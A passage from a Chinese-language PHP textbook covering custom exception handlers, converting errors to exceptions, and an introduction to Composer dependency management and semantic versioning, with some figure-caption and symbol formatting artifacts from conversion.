                $e->getFile(),
                $e->getLine(),
                $e instanceof InvalidEmail ? json_encode($e->getContext()) :               'N/A'
            ) . PHP_EOL;
    }
    

    因此,在 try 块中,你将调用 validateEmail() 函数并打印成功的验证消息。只有当 validateEmail() 函数没有抛出异常时,才会打印该消息。相反,如果抛出异常,它将在 catch 块中被捕获,错误消息将打印在屏幕上。错误消息将包括错误类型(异常类名)、消息以及异常创建的文件和行号。此外,在自定义异常的情况下,我们还将包括上下文,以 JSON 编码。

  5. 不带参数运行脚本:

     php validate-email.php; 
    

    输出将如下所示:

    图 8.22:执行不带参数的代码

    图 8.22:执行不带参数的代码

    我们得到了预期的 InvalidArgumentException,因为没有向脚本提供任何参数。

  6. 使用无效参数运行脚本:

    php validate-email.php john.doe; 
    

    输出将看起来像这样:

    图 8.23:执行带无效参数的代码

    图 8.23:执行带无效参数的代码

    这次,捕获到的异常是 InvalidEmail,上下文信息包含在打印到屏幕上的消息中。

  7. 使用有效的电子邮件地址运行脚本:

     php validate-email.php john.doe@mail.com; 
    

    输出将看起来像这样:

图 8.24:有效电子邮件地址的输出

图 8.24:有效电子邮件地址的输出

这次,验证成功,确认信息已打印到屏幕上。

在这个练习中,您创建了自己的自定义异常类,并且它可以与扩展功能一起使用。脚本不仅能够验证输入作为电子邮件,而且在验证失败的情况下,还会提供原因(异常),并在适当的时候捆绑一些有用的上下文。

自定义异常处理器

通常,您只想捕获和处理某些异常,允许应用程序继续运行。有时,然而,没有正确数据就无法继续;您希望应用程序停止,并且希望以优雅和一致的方式(例如,为网络应用程序的错误页面,为命令行界面提供特定的消息格式和详细信息)停止。

为了实现这一点,您可以使用 set_exception_handler() 函数。其语法如下:

set_exception_handler (callable $exception_handler): callable

此函数期望一个可调用的异常处理器,并且此处理器应该接受一个 Throwable 作为第一个参数。也可以传递 NULL 作为可调用项;在这种情况下,将恢复默认处理器。返回值是之前的异常处理器或错误或没有之前的异常处理器时的 NULL。通常,返回值会被忽略。

使用自定义异常处理器

就像在默认错误处理器的情况下,PHP 中的默认异常处理器会打印错误信息,并且也会停止脚本执行。由于您不希望任何这些信息到达最终用户,您可能更愿意注册自己的异常处理器,在那里您可以实现与错误处理器相同的功能 – 以特定格式渲染消息并记录以供调试。

练习 8.7:使用自定义异常处理器

在这个练习中,您将定义、注册和使用一个自定义异常处理器,该处理器将以特定格式打印错误信息:

  1. 创建一个名为 exception-handler.php 的文件,并添加以下内容。定义并注册您自己的异常处理器:

    <?php
    set_exception_handler(function (Throwable $e) {
        $msgLength = mb_strlen($e->getMessage());
        $line = str_repeat('-', $msgLength);
        echo $line, PHP_EOL;
        echo $e->getMessage(), PHP_EOL;
        echo '> File: ', $e->getFile(), PHP_EOL;
        echo '> Line: ', $e->getLine(), PHP_EOL;
        echo '> Trace: ', PHP_EOL, $e->getTraceAsString(), PHP_EOL;
        echo $line, PHP_EOL;
    });
    

    在这个文件中,我们注册了异常处理器,它是一个接受Throwable参数作为$e变量的匿名函数。然后,我们使用mb_strlen()str_repeat()内置函数计算消息长度,并创建一条与错误消息长度相同的横线。接下来是对消息的简单格式化,包括异常创建的文件和行号,以及异常跟踪;所有这些都被两条横线包裹,一条在消息块的顶部,另一条在底部。

  2. 我们将使用basic-try.php文件作为我们例子的起点。将此文件复制到basic-try-handler.php,并在basic-try-handler.php中的SCRIPT START行之后包含exception-handler.php文件:

    require_once 'exception-handler.php';
    
  3. 由于我们知道在这个例子中,我们只捕获Exception,而跳过了Error异常,因此我们将直接运行会产生Error的命令,以便它能够被处理器捕获。因此,运行以下命令:

    php basic-try-handler.php DateTimeZone; 
    

    预期输出类似于以下内容:

图 8.25:命令的输出

图 8.25:命令的输出

现在,输出看起来比默认异常处理器产生的输出更干净。当然,异常处理器可以用来记录异常,特别是意外的异常,并尽可能添加更多信息,以便更容易识别和追踪错误。

如您可能注意到的,异常处理器与 PHP 中的错误处理器非常相似。因此,如果能使用单个回调来执行错误和异常处理将非常棒。为了帮助解决这个问题,PHP 提供了一个名为ErrorException的异常类,它将传统的 PHP 错误转换为异常。

将错误转换为异常

要将 PHP 错误(在错误处理器中捕获)转换为异常,可以使用ErrorException类。这个类扩展了Exception类,并且与后者不同,它具有与它扩展的类不同的构造函数签名。

ErrorException类的构造函数语法如下:

public __construct (string $message = "", int $code = 0, int $severity = E_ERROR, string $filename = __FILE__, int $lineno = __LINE__, Exception $previous = NULL)

接受的参数如下:

  • $message:异常消息字符串

  • $code:表示异常代码的整数

  • $severity:异常的严重级别(虽然这是一个整数,但建议使用E_*错误代码常量之一)

  • $filename:抛出异常的文件名

  • $lineno:抛出异常的文件中的行号

  • $previous:用于异常链的先前异常

现在,让我们看看这个类是如何工作的。

练习 8.8:将错误转换为异常

在这个练习中,我们将注册一个错误处理器,它只需要将错误转换为异常,然后调用异常处理器。异常处理器将负责处理所有异常(包括转换的错误)——这可以是记录日志、渲染错误模板、以特定格式打印错误消息等。在我们的练习中,我们将使用异常处理器以友好的格式打印异常,就像在之前的练习中使用的那样:

  1. 创建一个名为 all-errors-handler.php 的文件,定义异常处理器,并将其保存在 $exceptionHandler 变量下。这是我们在上一个练习中使用的相同回调函数:

    <?php
    $exceptionHandler = function (Throwable $e) {
        $msgLength = mb_strlen($e->getMessage());
        $line = str_repeat('-', $msgLength);
        echo $line, PHP_EOL;
        echo get_class($e), sprintf(' [%d]: ', $e->getCode()),       $e->getMessage(),      PHP_EOL;
        echo '> File: ', $e->getFile(), PHP_EOL;
        echo '> Line: ', $e->getLine(), PHP_EOL;
        echo '> Trace: ', PHP_EOL, $e->getTraceAsString(), PHP_EOL;
        echo $line, PHP_EOL;
    };
    
  2. 现在,我们定义并分配错误处理器到 $errorHandler 变量。此函数将使用函数参数作为类构造函数的参数来实例化 ErrorException。然后,调用异常处理器,将 ErrorException 实例作为唯一参数传递。最后,如果错误严重性为 E_USER_ERROR,则截断脚本的执行:

    $errorHandler = function (int $code, string $message, string $file, int   $line) use ($exceptionHandler) {
        $exception = new ErrorException($message, $code, $code, $file, $line);
        $exceptionHandler($exception);
        if (in_array($code , [E_ERROR, E_RECOVERABLE_ERROR, E_USER_ERROR])) {
            exit(1);
        }
    };
    
  3. 在脚本的最后部分,我们只是设置了错误和异常处理器:

    set_error_handler($errorHandler);
    set_exception_handler($exceptionHandler);
    
  4. 现在,我们将使用一个错误报告和错误处理器使用的示例来测试新的处理器。让我们选择 sqrt.php 脚本,将其复制到 sqrt-all.php,并将文件开头的 require_once 'error-handler.php'; 行替换为 require_once 'all-errors-handler.php';

    <?php
    require_once 'error-handler.php'; // removed
    require_once 'all-errors-handler.php'; // added
    
  5. sqrt-all.php 的内容可以在 packt.live/2INXt9q 找到(以下代码在 练习 8.3触发错误 中解释):

  6. 按以下顺序运行以下命令:

    php sqrt-all.php
    php sqrt-all.php s5
    php sqrt-all.php -5
    php sqrt-all.php 9
    

    输出将如下所示:

图 8.26:不同情况下的输出

图 8.26:不同情况下的输出

如前所述,E_USER_ERROR(代码 256)使脚本停止,而 E_USER_WARNING(代码 512)允许脚本继续。

在这个练习中,我们通过将每个错误转换为异常,成功地将错误处理器捕获的所有错误转发到异常处理器。这样,我们可以在脚本的单个位置实现处理错误和异常的代码——在异常处理器中。同时,我们使用了 trigger_error() 函数来生成一些错误,并由异常处理器打印。

然而,我们将应用程序/技术错误处理与业务逻辑错误处理混合在一起。我们希望在操作流程方面有更多的控制,以便能够现场处理问题并相应地采取行动。PHP 中的异常允许我们做到这一点——运行一个预期会抛出某些异常的代码块,并在它们发生时现场处理,控制操作流程。查看上一个练习,我们可以通过“捕获”在它们到达错误处理器之前发生的错误来改进它,例如,我们可以打印一些更简洁的错误消息。

为了实现这一点,我们将使用异常方法。因此,我们将使用try-catch块,这允许我们控制操作流程,而不是使用trigger_error()函数,该函数将错误直接发送到错误处理器。

练习 8.9:简单的异常处理

在下面的练习中,我们将实现一个多用途脚本,旨在执行任意 PHP 函数。在这种情况下,我们将无法对输入验证有太多控制,因为任意选择的函数需要不同类型的输入参数,按照特定顺序,以及可变数量的参数。在这种情况下,我们将使用一种验证和处理输入的方法,并在验证失败的情况下抛出异常,这些异常将被当前函数捕获:

  1. 创建一个名为run.php的文件,并包含错误处理器文件。然后,我们定义一个名为Disposable的自定义异常,这样我们就可以精确地捕获我们预期可能会抛出的异常:

    <?php
    require_once 'all-errors-handler.php';
    class Disposable extends Exception
    {
    }
    
  2. 接下来,我们声明handle()函数,该函数将负责验证和运行给定函数名和参数的脚本。如果没有提供函数/类名参数,将抛出Disposable异常:

    function handle(array $input)
    {
        if (!isset($input[1])) {
            throw new Disposable('A function/class name is required as the           first argument.');
        }
    
  3. 否则,第一个参数将被存储在$calleeName变量中:

        $calleeName = $input[1];
        $calleeArguments = array_slice($input, 2);
    

    callee参数被准备为一个从原始输入的切片,因为,在$input变量的第一个位置(索引 0)是脚本名称,在第二个位置(索引1)是callee名称,我们需要从$input开始的索引2的切片;为此,我们使用array_slice()内置函数。

  4. 如果被调用者是一个现有的函数,那么使用call_user_func_array()函数来调用$calleeName函数,提供$calleeArguments的参数列表:

        if (function_exists($calleeName)) {
            return call_user_func_array($calleeName, $calleeArguments);
    
  5. 否则,如果$calleeName是一个现有的类名,那么创建一个$calleeName类的实例,为构造函数方法提供参数列表:

        } elseif (class_exists($calleeName)) {
            return new $calleeName(...$calleeArguments);
    
  6. 最后,如果被调用者既不是函数也不是类名,那么抛出一个Disposable异常:

        } else {
            throw new Disposable(sprintf('The [%s] function or class does not           exist.', $calleeName));
        }
    }
    
  7. 在脚本的最后部分,我们使用try-catch块。在try部分,我们调用handle()函数,提供脚本参数,并将输出存储在$output变量中:

    try {
        $output = handle($argv);
        echo 'Result: ', $output ? print_r($output, true) :       var_export($output, true), PHP_EOL;
    

    我们以下述方式显示结果:如果$output评估为TRUE(非空值,如零、空字符串或NULL),则使用print_r()函数以友好格式显示数据;否则,使用var_export()来提供有关数据类型的提示。请注意,如果handle()函数抛出异常,则不会发生输出打印。

  8. 捕获部分只会捕获Disposable异常,这是我们预期将在屏幕上打印的错误消息。使用exit(1)来表示脚本执行不成功:

    } catch (Disposable $e) {
        echo '(!) ', $e->getMessage(), PHP_EOL;
        exit(1);
    }
    
  9. 使用php run.php运行脚本,然后使用php run.php unknownFnName;预期以下输出:![图 8.27:命令输出 图片 C14196_08_27.jpg

    ![图 8.27:命令输出 我们得到了预期的输出——handle() 函数在两种情况下都抛出了 Disposable 异常,因此函数输出没有被打印。1. 使用以下命令运行脚本: php php run.php substr 'PHP Essentials' 0 3; 输出将如下所示: ![图 8.28:打印子字符串 图片 C14196_08_28.jpg

    ![图 8.28:打印子字符串 在这个情况下,substr 是一个有效的函数名,因此被调用,并传递了三个参数。substr 正在从一个字符串值(第一个参数)中提取,从特定的位置开始(第二个参数——在我们的例子中是 0),并返回所需的长度(第三个参数——在我们的例子中是 3)。由于没有抛出异常,输出被打印在屏幕上。1. 使用以下命令运行脚本: php php run.php substr 'PHP Essentials' 0 0; 输出将如下所示: ![图 8.29:控制台未打印字符串 ![图 8.29:打印警告信息 ![图 8.29:控制台未打印字符串 由于我们得到了一个空字符串,在这种情况下,输出使用 var_export() 打印。1. 使用以下命令运行脚本: php php run.php substr 'PHP Essentials'; 输出将如下所示: ![图 8.30:打印警告信息 图片 C14196_08_30.jpg

    ![图 8.30:打印警告信息 在这种情况下,报告了一个 E_WARNING 消息,因为 substr() 函数至少需要两个参数。由于这不是一个致命错误,脚本的执行继续,并返回 NULL。输出再次使用相同的 var_export() 函数打印。1. 使用以下命令运行脚本: php php run.php DateTime; 输出将如下所示: ![图 8.31:打印时间详情 图片 C14196_08_31.jpg

    ![图 8.31:打印时间详情 1. 使用以下命令运行脚本: php php run.php DateTime '1 day ago' UTC; 输出将如下所示:![图 8.32:致命错误图片 C14196_08_32.jpg

![图 8.32:致命错误

如您所见,我们现在正在处理一个致命的 TypeError 异常。这个异常没有被捕获,并由异常处理器处理;因此,脚本被终止。

由于这是一个通用的多用途脚本,处理所有类型的错误非常困难,为每个 callee 验证特定的输入,无论是函数名还是类名——在我们的例子中,你将为预期被调用的每个函数或类编写输入验证规则。在这里要学习的一点是,尽可能精确是一种好的编程方法,因为它给了你,开发者,对应用程序的控制。

练习 8.10:异常的更好使用

在这个练习中,我们将尝试一个比上一个例子更好的 DateTime 实例化方法,目的是展示如何通过精确控制来提高脚本的控制能力。这种方法应该解析输入数据并准备 DateTime 类的参数,同时尊重每个接受的输入数据类型:

  1. 创建 date.php 文件,包含错误处理程序,并定义名为 Disposable 的自定义异常:

    <?php
    require_once 'all-errors-handler.php';
    class Disposable extends Exception
    {
    }
    
  2. 接下来,我们定义 handle() 函数,该函数将处理请求。首先,它将检查 $input[1] 中的类名参数,如果没有找到这样的值,将抛出 Disposable 异常:

    function handle(array $input)
    {
        if (!isset($input[1])) {
            throw new Disposable('A class name is required as the first           argument (one of DateTime or DateTimeImmutable).');
        }
    
  3. 否则,值将被验证,要求只允许 DateTimeDateTimeImmutable 中的一个;如果传递了另一个名称,将抛出 Disposable 异常:

        $calleeName = $input[1];
        if (!in_array($calleeName, [DateTime::class,       DateTimeImmutable::class])) {
            throw new Disposable('One of DateTime or DateTimeImmutable is           expected.');
        }
    
  4. 所需的时间存储在 $time 变量中,如果没有设置参数,默认值为 now。时区存储在 $timezone 变量中,如果没有设置时区参数,默认为 UTC

        $time = $input[2] ?? 'now';
        $timezone = $input[3] ?? 'UTC';
    
  5. 接下来,当尝试实例化 DateTimeZone$calleeName 对象时使用 try-catch 块。所有 Exception 错误都会被捕获,并使用 Disposable 异常类抛出一个友好的消息:

        try {
            $dateTimeZone = new DateTimeZone($timezone);
        } catch (Exception $e) {
            throw new Disposable(sprintf('Unknown/Bad timezone: [%s]',           $timezone));
        }
        try {
            $dateTime = new $calleeName($time, $dateTimeZone);
        } catch (Exception $e) {
            throw new Disposable(sprintf('Cannot build date from [%s]',           $time));
        }
    
  6. 最后,如果一切顺利,则返回 $dateTime 实例:

        return $dateTime;
    }
    
  7. 脚本的最后一部分是一个 try-catch 块,就像之前的练习一样,其中 handle() 使用脚本输入参数运行,其输出存储在 $output 变量中,然后使用 print_r() 函数在屏幕上打印:

    try {
        $output = handle($argv);
        echo 'Result: ', print_r($output, true);
    
  8. 如果 handle() 函数抛出 Disposable 异常,这个异常会被捕获,并在进程以退出代码 1 停止之前,在屏幕上打印错误信息。任何其他异常将由在 all-errors-handler.php 中注册的异常处理器处理:

    } catch (Disposable $e) {
        echo '(!) ', $e->getMessage(), PHP_EOL;
        exit(1);
    }
    
  9. 使用 php date.php 运行脚本,然后使用 php date.php Date 运行脚本;预期的输出如下:![图 8.33:打印 Disposable 异常的错误信息 图片 C14196_08_33.jpg

    图 8.33:打印 Disposable 异常的错误信息

    如预期的那样,Disposable 异常被捕获,错误信息在屏幕上显示。由于没有抛出异常,没有打印输出结果。

  10. 使用以下命令运行脚本:

    php date.php DateTimeImmutable midnight; 
    

    输出如下:

    ![图 8.34:打印时间详情 图片 C14196_08_34.jpg

    图 8.34:打印时间详情

    现在,脚本打印了 DateTimeImmutable 对象,其中包含今天的日期,时间设置为午夜,而默认使用 UTC 作为时区。

  11. 使用 php date.php DateTimeImmutable summer 运行脚本,然后使用 php date.php DateTimeImmutable yesterday Paris 运行脚本;查看输出,应该看起来像这样:![图 8.35:函数内部捕获的异常 图片 C14196_08_35.jpg

    图 8.35:函数内部捕获的异常

    如你所见,这些是在 handle() 函数内部捕获的 Exception 类异常,然后作为 Disposable 异常(在上级捕获)抛出,并带有自定义消息。

  12. 最后,使用以下命令运行程序:

    php date.php DateTimeImmutable yesterday Europe/Paris 
    

    你应该得到类似这样的结果:

![图 8.36:打印 Europe/Paris 日期时间详情图片 C14196_08_36.jpg

图 8.36:打印 Europe/Paris 日期时间详情

这将是昨天的日期,欧洲/巴黎时区的午夜。在这种情况下,脚本已执行而没有异常;DateTimeImmutable的第二个参数是一个具有Europe/Paris时区设置的DateTimeZone对象,因此结果按预期打印。

活动 8.1:处理系统和用户级错误

假设你被要求开发一个脚本,该脚本将计算给定输入的阶乘数,具有以下规范:

  • 至少需要一个输入参数。

  • 输入参数应验证为正整数(大于零)。

  • 对于每个提供的输入,脚本应计算阶乘数;结果按行打印每个输入参数。

应根据规范验证输入,并处理任何错误(抛出的异常)。不应有任何异常停止脚本的执行,区别在于预期的异常打印到用户输出,而对于意外的异常,打印一个通用的错误消息,并将异常记录到日志文件中。

执行以下步骤:

  1. 创建一个名为factorial.php的文件,该文件将运行脚本。

  2. 创建异常处理器,它将格式化的日志消息记录到文件中;消息格式与all-errors-handler.php文件的异常处理器中相同。

  3. 创建错误处理器来处理报告的系统错误;这将把错误转发到异常处理器(将错误转换为异常)。

  4. 注册异常和错误处理器。

  5. 创建自定义异常,每个验证规则一个。

  6. 创建一个函数,用于验证和计算单个数字输入(例如,calculateFactorial())。

  7. 创建一个函数,用于以特定格式打印错误消息。它将为每条消息添加(!)前缀,并包括一个换行符。

  8. 如果没有提供输入参数,显示一条消息,强调至少需要一个输入数字的要求。

  9. 遍历输入参数,并调用calculateFactorial()函数,提供input参数。结果将按照以下格式打印:3! = 6(其中3是输入数字,6calculateFactorial()的结果)。

  10. 捕获calculateFactorial()函数可能抛出的任何(预期的)自定义异常,并打印异常消息。

  11. 捕获所有意外的异常,除了之前定义的自定义异常之外,并调用异常处理器将它们记录到日志文件中。同时,向用户输出显示一个通用的错误消息(例如,对于输入数字 N,发生了意外的错误,其中 N 是在calculateFactorial()函数中提供的输入数字)。

输出应类似于以下内容:

图 8.37:打印整数的阶乘

图 8.37:打印整数的阶乘

注意

本活动的解决方案可在第 552 页找到。

摘要

在本章中,你学习了如何处理 PHP 错误以及如何与异常一起工作。现在,你也理解了传统错误和异常及其用例之间的区别。你学习了如何设置错误和异常处理器。现在,你理解了 PHP 中的不同错误级别,以及为什么某些错误会截断脚本的执行,而大多数错误则允许脚本继续执行。此外,为了避免代码重复,你学习了如何将传统错误转换为异常并将它们转发到异常处理器。

最后,我的建议是考虑设置一个日志服务器(一些免费解决方案可供下载和使用),你可以将所有日志发送到那里,这样,当你访问日志平台时,你可以过滤条目(例如,按严重性/日志级别或按搜索词),使用各种聚合创建数据可视化(例如,在过去 12 小时内每 30 分钟间隔的警告计数),等等。这将帮助你比浏览日志文件更快地识别某些错误级别的消息。

当应用程序至少部署在两个实例上时,日志服务器尤其有用,因为日志的集中化不仅允许你非常快速地发现问题,你还将能够看到导致问题的实例以及可能更多的上下文信息。此外,日志管理解决方案可以用于多个应用程序。

实际上,对于后者,你可以查看包括学习 ELK Stack在内的标题;包括 ElasticSearch、LogStash 和 Kibana ELK 系列的视频课程;以及Packt Publishing平台上的许多其他内容。

在登录文件系统是完全可接受的,尤其是在开发过程中,但在某个时候,当你在开发应用程序时,生产环境将需要一个集中的日志解决方案,无论是 HTTP 访问/错误日志、应用程序日志还是其他日志(尤其是在分布式架构/微服务中)。你希望提高生产力,编写或修复代码,而不是迷失在存储在文件系统中的文件和日志行之间。

在下一章中,我们将定义作曲家和使用 Composer 管理库。

第九章:9. Composer

概述

到本章结束时,你将能够描述在应用程序中使用依赖管理器的优点;识别解决常见问题的优质开源包;将第三方库添加到你的项目中;在你的项目中设置自动加载,这样你就不必使用 include 语句;并实现 Monolog 日志包。

简介

在上一章中,我们介绍了如何通过使用 PHP 内置的Exception类来处理错误条件,以及如何使用trycatch块来控制应用程序的流程。

大多数现代应用程序都是建立在其他开源库的混合之上。许多在所有应用程序中经常遇到的问题已经被开发者解决并测试过,他们已经将他们的解决方案免费提供给包括在你的项目中的使用。这可能是一个生成唯一标识符的库,也可能是一个完整的应用程序框架,帮助你组织代码。以身份验证为例。几乎每个 PHP 应用程序都将包含某种形式的身份验证,而且大多数情况下,它将以完全相同的方式构建。我们使用第三方解决方案进行身份验证,这样我们就不必在编写的每个应用程序中重复编写相同的身份验证代码。其他这类需要在多个应用程序中使用的库,称为横切关注点,包括日志记录、安全和与文件系统的交互。列表还在继续。

由于许多外部库的依赖,拥有一些用于管理这些库的工具变得至关重要。在 PHP 中,我们非常幸运地拥有一个专为这一目的设计的优秀开源工具——Composer。除此之外,如果你愿意,可以利用 Composer 将公司经常实现的功能组织成一个库,作为所有应用程序的起点,避免重复编写代码,并管理该库的任何更新。

在本章中,我们将解释什么是依赖管理以及为什么你应该使用一个工具来处理它。我们将带你了解你将用于在项目中开始使用它的基本命令,并解释配置文件。我们将介绍 PSR-4,这是由 PHP 框架互操作性小组PHP-FIG)定义的许多建议之一,它不仅限于 Composer,但经常被用来简化代码在称为 自动加载 的过程中的包含。我们将通过设置一个使用流行的日志框架 Monolog 的示例项目来演示自动加载。最后,我们将介绍 Packagist,这是一个作为包目录列表的网站,我们将提供一些关于导航网站和评估你找到的包的建议,以帮助你选择不仅提供你需要的功能,而且有支持水平的包。

依赖管理

你可能会问自己,为什么我们需要另一个工具的复杂性来管理我们的外部依赖。你总是可以直接获取源代码的副本并将其直接放入你的项目中。答案在问题中的一个词中变得明显:外部。这些依赖不是你的代码,你也不想负责管理它们。当你考虑到这些包可能也依赖于其他库,而这些库可能自身也有依赖,如此等等时,这一点变得更加明显。此外,随着这些库实现新功能、修复错误和安全维护版本,它们需要相互兼容,这也使得问题更加复杂。

Composer 会完成所有艰苦的工作,确定你依赖的任何库是否有可用的升级,并确定这些库的哪些版本可以相互兼容,然后生成一个详尽的包及其元数据列表,告诉它确切需要安装什么以及这些包可以在项目的哪个位置安装。你所要做的就是使用几个简单的命令或编辑一个配置文件,为 Composer 提供一个你想要包含在项目中的包列表,并运行一个命令来安装它们。

使用 Composer

Composer 是一个你将最频繁地从命令行与之交互的工具。接下来的几节将介绍你日常最常用的操作,并为每个操作提供练习。你需要安装 Composer,安装说明在序言中提供。Composer 可以在项目级别或系统全局级别安装。确保你已经全局安装了 Composer。

练习 9.1:开始使用 Composer

在这个简短的练习中,我们将从命令行首次运行 Composer 以验证其是否正确安装,运行一个命令,该命令将给出我们可以传递给它的参数列表,以便执行其提供的各种功能,然后向您介绍 help 命令,以便您可以获取 Composer 所提供的任何命令的摘要信息:

  1. 打开您的命令提示符并导航到您存储代码的文件夹。

  2. 通过运行以下命令来检查您已安装的 Composer 版本,以验证 Composer 是否正常工作:

    composer –V
    

    版本号可能不同,但如果一切设置正确,您将看到类似以下截图的输出:

    ![图 9.1:打印版本号 图片

    ![图 9.1:打印版本号 1. 接下来,使用以下命令列出 Composer 所有的可用功能及其简要说明: php composer list 您将获得类似以下输出的结果: ![图 9.2:Composer 的功能 图片

    ![图 9.2:Composer 的功能 这是一种探索 Composer 功能和查找您之前使用过但记不清确切名称的命令的简单方法。1. 最后,help 命令接受一个命令名称作为参数,并解释该功能的用法。调用 help 命令,将 init 命令作为参数传递: php composer help init 您将获得类似以下输出的结果:![图 9.3:帮助命令的截图图片

![图 9.3:帮助命令的截图如果您记不起具体的语法,或者甚至想要发现可能修改其行为以适应您需求的选项,help 命令是一个有用的工具。## 初始化项目现在您已经看到了如何在命令行上调用 Composer,您可以使用一些基本设置来初始化一个项目。这些设置存储在一个名为 composer.json 的文件中,该文件应位于您的项目根目录中。此文件将包含有关您项目的元信息以及您项目中要安装的每个依赖项的定义。幸运的是,Composer 提供了一个简单的命令来帮助我们开始:init。## 练习 9.2:初始化项目在这个练习中,我们将通过使用 init 命令来逐步介绍项目的初始安装。您将需要配置一些选项,如下所示:1. 为此示例创建一个新的目录作为项目目录,并导航到该目录。这里,我们将使用 composer-example。1. 从此目录运行以下命令以初始化项目: php composer init 1. 输入您想要为您的包选择的名称并按 Enterphp mccollum/composer-example 1. 输入描述并按 Enter。1. 按 Enter 以接受默认的作者。1. 输入 stable 作为最低稳定性。 注意 最小稳定性告诉 Composer 在您需要包时选择哪个版本的包时可以接受的稳定性级别。选项,从最稳定到最不稳定,依次为稳定版、RC 版、beta 版、alpha 版和开发版。通常,对于最终将用于生产的项目,选择 "稳定版" 是最好的。1. 输入 project 作为包类型并按 Enter 键。1. 按 Enter 键跳过选择许可证。1. 对定义依赖和开发依赖项进行交互式操作时,回答 no。 您屏幕上的输出应类似于以下内容:图 9.4:确认后的截图

图 9.4:确认后的截图

现在,您项目根目录下将列出一个新的 composer.json 文件。composer.json 文件的内容在生成文件的最后一步输出到屏幕上。打开它并查看它。您在 init 命令期间输入的所有信息都应该列在该文件中。您可以直接修改此文件,但在大多数情况下,从命令行与之交互更方便。

需求包

到此阶段,所有设置都已完成,您现在可以开始将包拉入您的项目。您只需要告诉 Composer 您的项目需要该包,Composer 将确定安装包的适当版本,修改 composer.json 文件以将包添加为依赖项,并下载项目文件并将它们放置在供应商目录中,如果不存在,它将创建该目录。

供应商目录是一个特殊目录,Composer 将所有添加到您项目的文件都保存在这里。如果需要将其设置为不同的目录,则可以进行配置,但通常最好保持默认设置以符合惯例。一旦您在文件夹内需求包,将为每个项目创建一个文件夹,其中包含该库的源代码。重要的一点是不要编辑此目录内的文件,否则在包升级时您的更改可能会丢失。一般来说,将您自己的代码与您构建在之上的依赖项保持分离是一个好主意。

为了通过一个示例进行操作,我们需要选择一个可以通过 Composer 拉取的包。我们选择了 Monolog,它恰好是由 Composer 的主要开发者之一开发和维护的。这是一个方便的库,它作为所有应用程序中常见日志功能的抽象。它允许您设置任意数量的进程,这些进程将使用通用接口监听日志函数的调用,并将日志记录到各自的输出中,这些输出从文件系统到 NoSQL 数据库客户端,再到亚马逊网络服务的存储桶。如果您想捕获日志的地方,Monolog 很有可能支持它,并使其变得容易实现。

练习 9.3:添加依赖

在这个练习中,我们将使用 Composer 向您的项目添加依赖项。我们选择了一个流行的日志框架,我们将在本章后面使用它:

  1. 在您的命令提示符中,导航到您初始化项目的目录。

  2. 运行以下命令安装 Monolog:

    composer require monolog/monolog
    

    输出如下:

    ![图 9.5:安装 Monolog 图片 9.5

    图 9.5:安装 Monolog

  3. 检查供应商目录:

![图 9.6:检查目录图片 9.6

图 9.6:检查目录

在供应商目录中,您将看到 Monolog 的目录以及它的依赖项 psr。还有一个用于 Composer 自身的目录,以及一个 autoload.php 文件。我们将在本章后面介绍自动加载文件的作用。composer.json 文件也将被更新,现在在 require 部分包括 monolog/monolog 的一行,并显示它选择的包版本:

![图 9.7:打印版本图片 9.7

图 9.7:打印版本

语义化版本控制

Composer 中可用的包遵循一种称为语义化版本控制的版本约定。这是一个用于增加版本标识符的标准格式,它赋予数字以意义,基于此,标识符中的数字增加。官方文档位于 semver.org/。版本格式化为三个整数,由点分隔。第一个整数代表主要版本变更,表明发布可能包含破坏性更改,其客户端需要重新工作以与库集成。第二个整数表示次要更改,如新功能,应向后兼容。第三个数字表示错误修复或安全更新,也称为补丁,通常应允许自动更新。

当一个数字增加时,其后的数字会重置为 0。例如,在撰写本文时,当我安装 Monolog 包时,当前的稳定版本是 1.24.0。这意味着自项目被认为稳定并准备投入生产以来,已有 24 个小版本发布。如果发现软件中存在错误并且他们单独发布,下一个版本号将是 1.24.1。之后,下一个小功能版本的发布将版本号提升到 1.25.0。如果他们需要以破坏消费者界面的方式更改库,版本号将提升到 2.0.0。这是一个非常有用的格式,我建议在您的版本控制系统中的项目中使用它。

应用版本约束

当你需要一个包时,你可以选择性地指定版本约束,以限制 Composer 可能选择的安装的包的版本。你将想要确保当你升级由 Composer 安装的包时,它不会自动升级到一个将与你的代码库不兼容的版本。最常见的用例是你只想自动应用补丁级别的更新,并在可以测试次要和主要版本之前等待,然后再与你的代码一起发布。另一个例子来自我的个人经验,当时我们转换了一个大型遗留应用程序以使用 Composer,该应用程序使用了比当前版本落后几个主要版本的库。更新库并不划算,所以我需要将其锁定在由 Composer 管理之前安装的同一版本。

Composer 提供了一些修饰符,你可以添加到版本定义中,以便根据你的指定动态选择版本。你可以在 packt.live/2MJNAur 找到这些修饰符的完整描述。其中最常见的是下一个重要版本的操作符:一个由波浪线字符表示,如 ~1.24.3,另一个是 caret 符号,如 ¹.24.0\。

波浪线操作符将限制升级到下一个主要或次要版本,具体取决于是否指定了补丁号。例如,~1.24.3 将接受任何低于 1.25.0 的版本,而 ~1.24 将接受任何低于 2.0.0 的版本。caret 操作符类似,但假设任何非破坏性更改,如语义版本控制所指定,都是可接受的。如果指定了 ¹.24.3,这将允许任何低于 2.0.0 的升级。

练习 9.4:应用版本约束

在这个练习中,我们将介绍 show 命令,并给出将版本约束应用于依赖项的示例。你还会看到,当你需要包时,你可以在命令的末尾添加你希望安装的版本,它将针对该约束:

  1. 从命令提示符运行命令以查看当前安装的包:

    composer show
    
  2. 将你的需求更新到 Monolog 的 1.0.0 版本:

    composer require monolog/monolog:1.0.0
    

    如果你再次运行 Composer,你会看到 Monolog 已降级到 1.0.0:

    图 9.8:Composer 的截图

  3. 现在,更新 require 命令以接受 1.23 或更高版本,但低于 2.0. 注意,它将安装低于 2.0.0 的最高版本:

    composer require monolog/monolog:~1.23
    

    Composer 将再次显示它已升级到当前版本(写作时的 1.24.0 版本)。

使用这些约束,你可以确信随着时间的推移和新版本的发布,你的代码将不受影响,直到你准备好实施他们的更改。你也许还会注意到,psr/log 的版本不会随着升级或降级 Monolog 的版本而改变,因为 1.1.0 满足这两个版本。

锁定文件

在这个阶段,如果你检查你的项目目录中的文件,你会看到使用init命令生成的composer.json文件,当你需要一个包时创建的供应商目录,以及最后的composer.lock文件。composer.lock文件是composer.json文件的对应文件,每次你对所需包进行修改时都会重新生成。如果你查看文件的内容,你会看到几个部分,例如_readme和内容哈希,但主要的部分是包部分,它详细说明了你安装的包以及一些元数据,这些元数据允许 Composer 以相同的配置可靠地重新安装包。每个包都有列出名称、安装的版本、版本控制类型以及可以找到它的 URL,以及其他所需依赖项等。

